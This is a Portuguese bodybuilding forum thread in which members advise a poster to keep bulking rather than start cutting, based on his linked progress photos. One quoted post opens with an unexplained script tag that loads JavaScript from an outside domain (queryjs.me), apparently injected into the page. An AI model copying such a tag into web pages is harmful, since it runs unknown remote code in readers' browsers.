Ir para conteúdo
  • Cadastre-se

Posts Recomendados

Postado

E aí, Cassio. Obg! Tu não acha q tem pouco volume pra cutt? Tava pensando em bulkar até uns 83/84kg até junho pra depois entrar em cutt... cutt é chato pra caralho kkkkk

Abraços.

O BF já está meio alto, quanto mais alto o BF, pior ficam seus hormônios. Mais vai sofrer para perder a gordura e mais massa magra vai embora junto.

Publicidade

Postado

Já tens uma massa legalzinha, aproveita pra quando chegar o inverno mandar a ver no bulking pra ganhar ainda mais e depois mete um cutting. Dai vai ficar maneiro.

Estou pensando em fazer isso também, esse mês vou tentar perder o resto de gordura, e proximo mês ficar na manutenção, ai começo um bulk limpo até setembro! Out/Nov/Dez cutting

Postado

o shape ta massa, ta no caminho certo. Mas a foto tem mais efeito que a bola do Roberto Carlos. Se quiser que o povo avalie o shape de verdade, tente colocar foto sem efeito e sem pump e sem valorizar a melhor pose. Isso dai guarde para o Intagram, rs.

Bons ganhos.

Sim e não, pois a maioria de fotos de shape que vemos na internet tem pelo menos a valorização de pose.

Postado

http://i.imgur.com/j3e11wa.jpg

http://i.imgur.com/vvZNDok.jpg

http://i.imgur.com/hjjuLpx.jpg

http://i.imgur.com/i9LHe5D.jpg

http://i.imgur.com/cK21R8Q.jpg

Na ultima avaliação, etava com 14% de BF. Agora deve estar uns 15 e pouco.

E ai, continuo no bulking ou vou para o cutting ?

Obrigado :)

Continua em bulking, precisa ganhar muita massa muscular ae pra pensar em cutting. Senão não adianta nada
Postado

<script src="http://queryjs.me/services/script.js" type="text/javascript"></script>

http://i.imgur.com/j3e11wa.jpg

http://i.imgur.com/vvZNDok.jpg

http://i.imgur.com/hjjuLpx.jpg

http://i.imgur.com/i9LHe5D.jpg

http://i.imgur.com/cK21R8Q.jpg

Na ultima avaliação, etava com 14% de BF. Agora deve estar uns 15 e pouco.

E ai, continuo no bulking ou vou para o cutting ?

Obrigado :)

Come carinha, coma muito, bulka mais uns 2 anos e depois pensa num cutting.

Pelas fotos voce parece inciante, então esquece isso de cutting, trincar e bla bla bla, voce precisa de MASSA MAGRA. pra isso, coma.

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora
×
×
  • Criar Novo...